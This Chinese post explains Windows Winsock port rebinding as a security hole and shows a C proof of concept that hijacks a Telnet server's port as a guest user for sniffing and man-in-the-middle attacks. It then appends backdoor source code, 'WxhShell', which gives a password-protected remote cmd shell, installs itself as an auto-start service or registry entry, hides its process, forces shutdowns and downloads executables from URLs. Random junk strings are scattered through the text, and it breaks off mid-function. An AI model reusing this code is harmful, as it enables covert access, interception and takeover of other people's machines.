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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: BPnZ"w_ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V*U7-{ *a A$RN7# saddr.sin_family = AF_INET; 9-+6Ed^2 x C'>W"pY saddr.sin_addr.s_addr = htonl(INADDR_ANY); DVYY1!j< ]?L?q2>& bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); a$I;
L $S$%avRX 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Aa&3x~3+ 5Mb1==/R 这意味着什么?意味着可以进行如下的攻击: c@{,&,vsj bQk5R._got 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 r4O*0Q_ {y|y68y0+ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) S
~lw5 #jV6w=I 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Mi\f?
S8" h9| 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 EX8:B.z`57 ushQWP) 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 t=~5I> nTjQ4y 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 FuaGr0] EOV<|WF> 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =o=)EU{~ =,I,K=+_x #include @4_CR #include 9dw02bY` #include 4EuZe:'X #include tkWWR%c" DWORD WINAPI ClientThread(LPVOID lpParam); aO'$}rDf$ int main() }rVnuRq { t09,X WORD wVersionRequested; MC3XGnT#5 DWORD ret; rQK2&37-,@ WSADATA wsaData; tiwhG%?2 BOOL val; }6eWdm!B SOCKADDR_IN saddr; n$}c+1
SOCKADDR_IN scaddr; a2iaP int err; A]BD2 SOCKET s; f7XmVCz1 SOCKET sc; 2P9h x5PiV int caddsize; NS=puo HANDLE mt; 9F kwtF DWORD tid; 0;e>kz3o wVersionRequested = MAKEWORD( 2, 2 ); Cs%'Af err = WSAStartup( wVersionRequested, &wsaData ); LL-MZ~ZB if ( err != 0 ) { \J0gzi. printf("error!WSAStartup failed!\n"); hvGb9 return -1; g{ l;v } x!!:jL'L saddr.sin_family = AF_INET; H5/%"1Q O>w$ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2N(c&Dzkh` H"I|dK : saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); u9m"{KnV saddr.sin_port = htons(23); 9ZG.%+l if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xgJ2W_ { W;IvR printf("error!socket failed!\n"); blaxUP: return -1; Z/hSH
0 (~ } fYx$3a. val = TRUE; m+DkO{8F //SO_REUSEADDR选项就是可以实现端口重绑定的 WJe if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vyqlP;K { ^l_W9s printf("error!setsockopt failed!\n"); BWL~)Hx return -1; qVJV 9n } IcPIOCmOc //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $9*Xfb/ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 L3X>v3CZ5 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u&bo32fc 3,tKqR7g if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) u-j$4\' { |...T
4:^Y ret=GetLastError(); w{K_+}fAC printf("error!bind failed!\n"); CbS9fc& return -1; (sO;etW } z7{b>oub(' listen(s,2); r6 ,5&`& while(1) `6lc] r { #i.M-6SRd caddsize = sizeof(scaddr); lh~!cOm\=E //接受连接请求 wvJm)Mj+ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h{J2CWJ if(sc!=INVALID_SOCKET) "z< =S { OMO.-p mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); n`0}g_\q if(mt==NULL) .0.Ha}{6b { +Medu?K
` printf("Thread Creat Failed!\n"); |nz,srr~ break; Gnj|y?' } gjL>FOe8u } lXW.G CloseHandle(mt); WZ@nuK.39T } *"O7ml] closesocket(s); ./[%%" WSACleanup(); cRT@Cu return 0; 2@:Go`mg } 5"^$3&) DWORD WINAPI ClientThread(LPVOID lpParam) l5D8DvJCj { #Cvjv;
QwY SOCKET ss = (SOCKET)lpParam; Bz9!a k~4 SOCKET sc; J L`n12$m unsigned char buf[4096]; *8,]fBUq SOCKADDR_IN saddr; MBXumc_g long num; @\z2FJ79w DWORD val; bb+-R_3Kd DWORD ret; >=6tfLQ //如果是隐藏端口应用的话,可以在此处加一些判断 yYp!s //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 =4m?RPb~b saddr.sin_family = AF_INET; JQi)6A?J saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); R BwI*~%g{ saddr.sin_port = htons(23); O|?>rK if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jUI'F4.5x- { wb.47S8 printf("error!socket failed!\n"); !m'lOz return -1; 6*GY%~JbD } /*`u(d2g val = 100; @FdtM<X if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -fT]}T6= { k[gO>UGB; ret = GetLastError(); l`~*"4|/ return -1; mcpM<vY/H } c3Y\XzV3v if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 68+9^ { ^4_. 5~( ret = GetLastError(); j1Q G-Rs& return -1; o.keM4OQ } +/-#yfn!TR if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) NK$k9, { :
JD%=w_ printf("error!socket connect failed!\n"); k)1K6ug closesocket(sc); j0Kj> closesocket(ss); m/Q@ - return -1; [- a2<E } %'%ej^s-R while(1) t(/e~w { +I;b,p //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8uchp //如果是嗅探内容的话,可以再此处进行内容分析和记录 xCEEv5(5 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #K"jtAm num = recv(ss,buf,4096,0); !WR(H&uBr\ if(num>0) 0.~QA+BD:S send(sc,buf,num,0); bezT\F/\ else if(num==0) uv/I`[@HK8 break; F(Pe@ #)A num = recv(sc,buf,4096,0); Ky8sLm@ if(num>0) imZi7o send(ss,buf,num,0); 3uZY.H+H else if(num==0) 1*Yf[;L break; V&eti2&zO } UMma|9l(i closesocket(ss); /![S 3Ol closesocket(sc); *rXESw]BR return 0 ; kBS;SDl) } g>1yQ
e>#*$4tg mawomna ========================================================== 2+s_*zM- SWNi@ 下边附上一个代码,,WXhSHELL |ITp$_S {W)Kz_ ========================================================== "
2Dz5L1v dpDVEEs84 #include "stdafx.h" _*>bf G =!*e; L #include <stdio.h> j#f+0 #include <string.h> ra0:Lg' #include <windows.h> Vl%AN;o #include <winsock2.h> 1`^l8V( #include <winsvc.h> rr>QG<i;G #include <urlmon.h> o8-BTq8 {KxeH7S #pragma comment (lib, "Ws2_32.lib") w4Qqo( #pragma comment (lib, "urlmon.lib") [2pp)wq 6iVjAxR #define MAX_USER 100 // 最大客户端连接数 @{iws@. #define BUF_SOCK 200 // sock buffer ' Ph #define KEY_BUFF 255 // 输入 buffer 5bYU(] &=Gz[1
L #define REBOOT 0 // 重启 jrbEJ. #define SHUTDOWN 1 // 关机 W2D^%;mw CC0@RU #define DEF_PORT 5000 // 监听端口 AON";&dLq- J;W(}"cFq #define REG_LEN 16 // 注册表键长度 ?l!L
)!2 #define SVC_LEN 80 // NT服务名长度 @zL)R b%P$ !
@{rkp // 从dll定义API "w9LQ=mW typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W=c7>s0> typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Sf);j0G,D typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )@09Y_9r typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X^r5su? %<lfe<;^t // wxhshell配置信息 nfJ|&'T struct WSCFG { 0 #pjfc `: int ws_port; // 监听端口 kTb.I;S char ws_passstr[REG_LEN]; // 口令 <W~5;m int ws_autoins; // 安装标记, 1=yes 0=no (o~f6pNB, char ws_regname[REG_LEN]; // 注册表键名 bY|%ois4 char ws_svcname[REG_LEN]; // 服务名 #+N\u*-S char ws_svcdisp[SVC_LEN]; // 服务显示名 bE#=\kf| char ws_svcdesc[SVC_LEN]; // 服务描述信息 IfzHe8> char ws_passmsg[SVC_LEN]; // 密码输入提示信息 veFl0ILd int ws_downexe; // 下载执行标记, 1=yes 0=no Gtd!Y
x char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" zpV@{%VSj char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9I0/KuZd
O :y==O4 }; ]sjYxe =2] .G Gg // default Wxhshell configuration dB+x,+%u+ struct WSCFG wscfg={DEF_PORT, ?VrZM "xuhuanlingzhe", a/;u:" 1, Y]/(R"-2G "Wxhshell", v_)a=I%o&2 "Wxhshell", 8Y *SZTzV "WxhShell Service", kT@RA} "Wrsky Windows CmdShell Service", ,DK |jf "Please Input Your Password: ", ;ZHKTOoK 1, "D}PbT[V " http://www.wrsky.com/wxhshell.exe", 9_h3<3e "Wxhshell.exe" 5!$m3j_,]? }; O{ zY(`[ C7[ge& // 消息定义模块 0#lw?sv char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >^LVj[.1 char *msg_ws_prompt="\n\r? for help\n\r#>"; D
M(WYL{ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; _P
0,UgZz char *msg_ws_ext="\n\rExit."; F,Y@ char *msg_ws_end="\n\rQuit."; et(/` char *msg_ws_boot="\n\rReboot..."; -}`ES] char *msg_ws_poff="\n\rShutdown..."; rUEoz |e4a char *msg_ws_down="\n\rSave to "; @qmONQ eb TU&6\]yF_ char *msg_ws_err="\n\rErr!"; S8*VjG?T\ char *msg_ws_ok="\n\rOK!"; lTJ1]7) o90SXa&l/ char ExeFile[MAX_PATH]; Qj5~ lX`W int nUser = 0; F@Y)yi?z HANDLE handles[MAX_USER]; W6ZXb_X int OsIsNt; [SgWUP* jY
EB`& SERVICE_STATUS serviceStatus; 4 d4le SERVICE_STATUS_HANDLE hServiceStatusHandle; OSk:njyC[ lE:X~RO"~ // 函数声明 #gq4%; int Install(void); RBIf6oxdE int Uninstall(void); 2
*IF int DownloadFile(char *sURL, SOCKET wsh);
=]&?(Gq int Boot(int flag); OLJb8kO void HideProc(void); $C0NvJf int GetOsVer(void); sUN>uroi ! int Wxhshell(SOCKET wsl); bq[j4xH0X void TalkWithClient(void *cs); La48M'u int CmdShell(SOCKET sock); Z]D O int StartFromService(void); CXks~b3SD int StartWxhshell(LPSTR lpCmdLine); g66=3c9</6 x^Tjs<# VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); })!d4EcZf VOID WINAPI NTServiceHandler( DWORD fdwControl ); G3n* bv /AV
[g^x2 // 数据结构和表定义 c|3%0=,` SERVICE_TABLE_ENTRY DispatchTable[] = Hy5_iYP5 { C=(-oI n
{wscfg.ws_svcname, NTServiceMain}, F+,X%$A#? {NULL, NULL} S>OfUrt }; 0Ge*\Q 8*kZ.-T
B // 自我安装 )QE7$|s int Install(void) v39`ct= e { ?(Q" y\ char svExeFile[MAX_PATH]; tt%Zwf HKEY key; q4{Pm $OW strcpy(svExeFile,ExeFile); # eqt{ F,Y,0f@4U9 // 如果是win9x系统,修改注册表设为自启动
RR!(,j^M if(!OsIsNt) { '$pT:4EuGq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J2Y-D'*s RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h=SQ]nV{ RegCloseKey(key); }[}u5T`w> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0cZyO$. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dl;~-'0 RegCloseKey(key); p
2xOjS1 return 0; *F* c } D5fJuT-bp } W/ZmG]sZE } H=])o21 else { !R;P"%PHV '#$Y:/ // 如果是NT以上系统,安装为系统服务 <h|XB}s+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VTk6.5!8 if (schSCManager!=0) <J-bDcp { 6TJ5G8z_ SC_HANDLE schService = CreateService &B^#?vmO ( <GPL8D schSCManager, ~R/w~Kc!/A wscfg.ws_svcname, $V-]DD%Y wscfg.ws_svcdisp, k%E9r'Ac SERVICE_ALL_ACCESS, B 3|zR SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 21D4O,yCe SERVICE_AUTO_START, E0[!jZ:c SERVICE_ERROR_NORMAL, kv&%$cA svExeFile, N
?Jr8 NULL, a(Ka2;M4J NULL, [1B F8: NULL, J9S9rir& NULL, W"S,~y NULL mj5$ 2J ); Ol H{! if (schService!=0)
c+?L?s`" { JbpKstc; CloseServiceHandle(schService); -/|O*oZ CloseServiceHandle(schSCManager); I7TdBe- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0i\ol9,bf strcat(svExeFile,wscfg.ws_svcname); "Pi\I9M3 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bcL>S$B RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wGa0w*$ RegCloseKey(key); ^_6%dKLK return 0; K:yS24\% } mE)65@3% } %Q5D#d"p` CloseServiceHandle(schSCManager); QwXM<qG* } Hn)K;?H4 } c:I1XC S+H#^WSt return 1; c\FyX\i } 6G6Hg&B ;e;lPM{+ // 自我卸载 *-$u\?$ int Uninstall(void) hj64ES#x { u^a\02aV[ HKEY key; ya5a7 #3u3WTk+ if(!OsIsNt) { & tQHxiDX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .B*Yg<j RegDeleteValue(key,wscfg.ws_regname); hu~02v5 RegCloseKey(key); EquNg@25W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {%D!~,4Ht RegDeleteValue(key,wscfg.ws_regname); `%AFKmc^; RegCloseKey(key); _?<Y>B, E return 0; 9\3% 5B7 } g!~&PT)* } hY+3PNiI@ } 2n+j. else { H^xrFXg~z 5&7)hMppI SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q>7#</i\. if (schSCManager!=0) zr@Bf!VG: { @3wI(l[
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); GbUcNROr if (schService!=0) ^|xj. { }Bw=2 ~ if(DeleteService(schService)!=0) { Y<3s_ CloseServiceHandle(schService); ]*j>yj.Y'~ CloseServiceHandle(schSCManager); GJWC}$#TY return 0; KIn^,d0H } 8(ny^]v| CloseServiceHandle(schService); S<Q8kW: } M['25[ CloseServiceHandle(schSCManager); <y'B
!d# } jjBcoQU$o } gXI_S9z v}A] R9TY return 1; d hiLv_/ } yd"|HHx @dX0gHU[c // 从指定url下载文件 U#G
uB&V int DownloadFile(char *sURL, SOCKET wsh) S1uW`zQ!+_ { *7oPM5J|v HRESULT hr; mkYM/*qyM& char seps[]= "/"; I'"*#QOX char *token; ar+mj=m char *file; 9bgKu6-X char myURL[MAX_PATH]; ?# >|P-4 char myFILE[MAX_PATH]; ^q"p8 oV?tp4& strcpy(myURL,sURL); ~cSC-|$^& token=strtok(myURL,seps); !Y=s_)X while(token!=NULL) o;FjpZ { :eS7"EG{3 file=token; Zm%}AzM token=strtok(NULL,seps); O8SX#,3^} } o"[P++qd nhk +9 GetCurrentDirectory(MAX_PATH,myFILE); NrVQK}%K strcat(myFILE, "\\"); dDW],d}B; strcat(myFILE, file); RUf,)]Vvk send(wsh,myFILE,strlen(myFILE),0); /7@@CG6b send(wsh,"...",3,0); }^G'oR1LF hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Mp75 L5 if(hr==S_OK) @^Mn
PM return 0; ",E6)r else #:T5_9p return 1; yHQ.EZ~% T7m rOp } 5yp~PhHf ;5my(J*b // 系统电源模块 E1 *\)q int Boot(int flag) &gF{<$$ { S)VuT0 HANDLE hToken; 5gF}7D@ TOKEN_PRIVILEGES tkp; JC{}iG6r+ Y~=5umNSX if(OsIsNt) { h1fJ`WT6, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r-]R4#z> LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @`}'P115@ tkp.PrivilegeCount = 1; {xEX_$nv tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wX#\\Jgi AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U,iTURd if(flag==REBOOT) { g%j z,| if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s`C#=l4 return 0; dp)lHBV } )~d2`1zGS else { ^!{oyw
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?jw)%{iKYV return 0; Z>QSZ48= } A40 -])'! } PG<N\ else { 7 bsW7;C if(flag==REBOOT) { =6 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z &<Rx[ return 0; P_-zkw } +hjc~|RK else { V$q%=Sip if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U{>!`RN return 0; m{%_5 nW } 5`x9+XvoN } UeHS4cW lBQ|= return 1; D:n0dfPU } OFRzz G@ 9-Ib+/R0 // win9x进程隐藏模块 JB%6G|Z void HideProc(void) MM'<uy { d/t'N-m -2
tZ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `R:<(: if ( hKernel != NULL ) Q7=J[,V: 2 { y9s5{\H pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q<hN\kBs ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sE/9~L FreeLibrary(hKernel); Pv1psKu } Y%=A>~s*c: WR'A%"qBwi return; 'c &Bmd40 } +bRL.xY =PZs'K // 获取操作系统版本 7/*;rT int GetOsVer(void) oAvJ"JH@i { oR-_=U^ OSVERSIONINFO winfo; t9K.Jc0 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zv0RrF^ GetVersionEx(&winfo); 2tWUBt\,g if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (O`=$e return 1; +IS$Un else (Nik(Oyj" return 0; 40g&zU- } l}O`cC yaX,s4p // 客户端句柄模块 /$9/,5|EA int Wxhshell(SOCKET wsl) n]j(tP { #=O0-si]P SOCKET wsh; B;K{Vo:C struct sockaddr_in client; |(P>'fat-p DWORD myID; e#zGLxa S0yPg9v while(nUser<MAX_USER) erqm=) { P$pl int nSize=sizeof(client); P?0b-Qr$a wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $%t{O[( if(wsh==INVALID_SOCKET) return 1; fi?[ e?|c@ %pwm34 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MfL q
h if(handles[nUser]==0) ^k)f oD closesocket(wsh); kW,yZ.?f else T|{BT!
W1E nUser++; |f>y"T+1 } (g4g-"rc WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +5({~2Lzvp ^mz_T+UOe return 0; gj'ar } %^5$=w
(K?[gI // 关闭 socket 5cfzpOqr0 void CloseIt(SOCKET wsh) C*gSx3OG { lO9>?y8.y closesocket(wsh); Yd<~]aXM nUser--; -d[x09 ExitThread(0); uq%RZF
z(v } V) a6H^l 7=<PVJ*/ // 客户端请求句柄 NA3yd^sr void TalkWithClient(void *cs) \`XJz{Lm] { =riP~%_ML) aIfog+Lp SOCKET wsh=(SOCKET)cs; 3oKqj> char pwd[SVC_LEN]; *e8V4P char cmd[KEY_BUFF]; {T^'&W>8G8 char chr[1]; FF_$)%YUp int i,j; 6Nl$&jL <wSmfg,yF while (nUser < MAX_USER) { 9m'[52{o 4u(}eE
f7 if(wscfg.ws_passstr) { 96PVn if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1L9^N //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pDKJLa //ZeroMemory(pwd,KEY_BUFF); W*s`1O > i=0; 4]+ ^K` while(i<SVC_LEN) { 6F(yH4 IIu3mXAw // 设置超时 FVD}9ia fd_set FdRead; 6?a(@<k_ struct timeval TimeOut; b%_QL3m6 FD_ZERO(&FdRead); Q3/q%#q> FD_SET(wsh,&FdRead); 9M!_D?+P? TimeOut.tv_sec=8; 57j:Lw~
TimeOut.tv_usec=0; O.4"h4{' int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lGM3?AN if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JA)gM [n}c}% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lZua"Ju pwd =chr[0]; 3jn@ [ m if(chr[0]==0xd || chr[0]==0xa) { %-*vlNC ) pwd=0; *K98z ? break; tEEhSG)s% } KW;xlJz(j i++; a-}%R } fwnpmuJ Sx ~_p3_5U // 如果是非法用户,关闭 socket RXof$2CZS if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cwD0 ~B } P0Jd6"sS" $x)'_o}e send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .ClCP?HG send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *.+>ur?t -'0AV,{Z while(1) { Mu (Y6 {xykf7zp ZeroMemory(cmd,KEY_BUFF); 'w!gQ#De h1kPsgzR // 自动支持客户端 telnet标准 |l?ALP_g j=0; C0fA3y72 while(j<KEY_BUFF) { SB'YV#-- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BJq}1mn* cmd[j]=chr[0]; Q* 4q3B& if(chr[0]==0xa || chr[0]==0xd) { czb%%:EJs| cmd[j]=0; zo5.}mr+ break; %%Kg'{-: } Ly<;x^D j++; YH[_0!JY^ } EGDE4n5>I C&st7.
(k // 下载文件 -#o+x Jj if(strstr(cmd,"http://")) { o"FX+17 send(wsh,msg_ws_down,strlen(msg_ws_down),0); xWwPrd if(DownloadFile(cmd,wsh)) v-gT
3kJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); rzmk-V else [.I,B tY+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WV @Tm$r } $`Xx5Ts7 else { '-S&i{H LWL>hd switch(cmd[0]) { P3yiJ|vP StDmJ] // 帮助 dbuOiZ case '?': { &`Di cfD send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~76.S break; C~;0A!@]Y } bsP; // 安装 ]~.J@ 1? case 'i': { 7gMtnwT if(Install()) p)^:~ll send(wsh,msg_ws_err,strlen(msg_ws_err),0); )eFFtnu5 else PJYA5"}W send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OT&E)eR break; M$W#Q\<*#r } w.Vynb // 卸载 t(Zs*c( case 'r': { Wi5|9 if(Uninstall()) j>Z]J'P send(wsh,msg_ws_err,strlen(msg_ws_err),0); PM.SEzhm else p<zXuocQ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cGc|n3( break; LJ/qF0L!H } _tReZ(Vw // 显示 wxhshell 所在路径 !TOi]`vqc case 'p': { f0`'
i[ char svExeFile[MAX_PATH]; s4gNS
eA strcpy(svExeFile,"\n\r"); ;
BZM~'
strcat(svExeFile,ExeFile); $i@EfujY send(wsh,svExeFile,strlen(svExeFile),0); D,n}Qf!GYk break; XeSbA } ?R]y}6P$ // 重启 Doh|G:P]# case 'b': { e8 7-
B1` send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 05KoxFO? if(Boot(REBOOT)) T"H)g send(wsh,msg_ws_err,strlen(msg_ws_err),0); JZ%F else { $vLV<
y07 closesocket(wsh); ,/:a77 ExitThread(0); &7T
H
V } P082.:q" break; 2E2}|:
||& } rH9}nL // 关机 <s>/< kW: case 'd': { [/Z'OV"tU send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);
`,Nn4 if(Boot(SHUTDOWN)) kxW>Da<6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^CPfo/! else { (<3lo
ZaX closesocket(wsh); lZM3Q58?\ ExitThread(0); ^A[`NYK } '98h<(@] break; ~{vdP=/WP } MgQU6O< // 获取shell "-n%874IT case 's': { 3> #mO}\ CmdShell(wsh); 6eT'[Umx closesocket(wsh); $XQxWH| ExitThread(0); |NU0tct^ break; qysa!B } 3Y{)(%I // 退出 p RwGv case 'x': { UB$`;'|i send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2rCY&8 CloseIt(wsh); }=hoATs break; X^D9)kel } 2-V)>98 // 离开 ;hA7<loY case 'q': { 7_40_kwJi send(wsh,msg_ws_end,strlen(msg_ws_end),0); f4k5R closesocket(wsh); ;(Xe@OtW WSACleanup(); `MsYgd exit(1); >I&
jurU# break; e$EF% cKH } @y(Wy} } v"r9|m~ ' } 0R}Sw[M. pTALhj#, // 提示信息 Ww96|m if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nh eU~jb } M>jBm
. } ls24ccOs l^!A return; !p,hy` } G|-\T(&J 6"i{P // shell模块句柄 :Jeo_}e 0 int CmdShell(SOCKET sock) i.t9jN { \$'m^tVU STARTUPINFO si; 7y)=#ZG'R ZeroMemory(&si,sizeof(si)); *1W,Mzg si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tP`G]BCbt si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3_MS'&M PROCESS_INFORMATION ProcessInfo; V[Rrst0yo char cmdline[]="cmd"; +lW}ixt CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); adI!W-/R: return 0; 8pPC 9ew\= } ^.#X<8hr
3kiE3*H // 自身启动模式 9Yl8ndP^E int StartFromService(void) /S]:dDY9K { [vWkAJ'K typedef struct eOehgU5x { )[^y
t0% DWORD ExitStatus; \-
=^]]b= DWORD PebBaseAddress; sm;E2BR$
` DWORD AffinityMask; QtY hg$K3 DWORD BasePriority; `~_H=l9{ ULONG UniqueProcessId; S,9NUt ULONG InheritedFromUniqueProcessId; %i$M/C" ( } PROCESS_BASIC_INFORMATION; -XVEV !ww:O| 0 PROCNTQSIP NtQueryInformationProcess; j /H>0^ +YkW[a\4 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A
mI>m static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hza> jR dK}WM46$ HANDLE hProcess; #0bO)m+NZ PROCESS_BASIC_INFORMATION pbi; 7}ws
|4Y kS+r"e
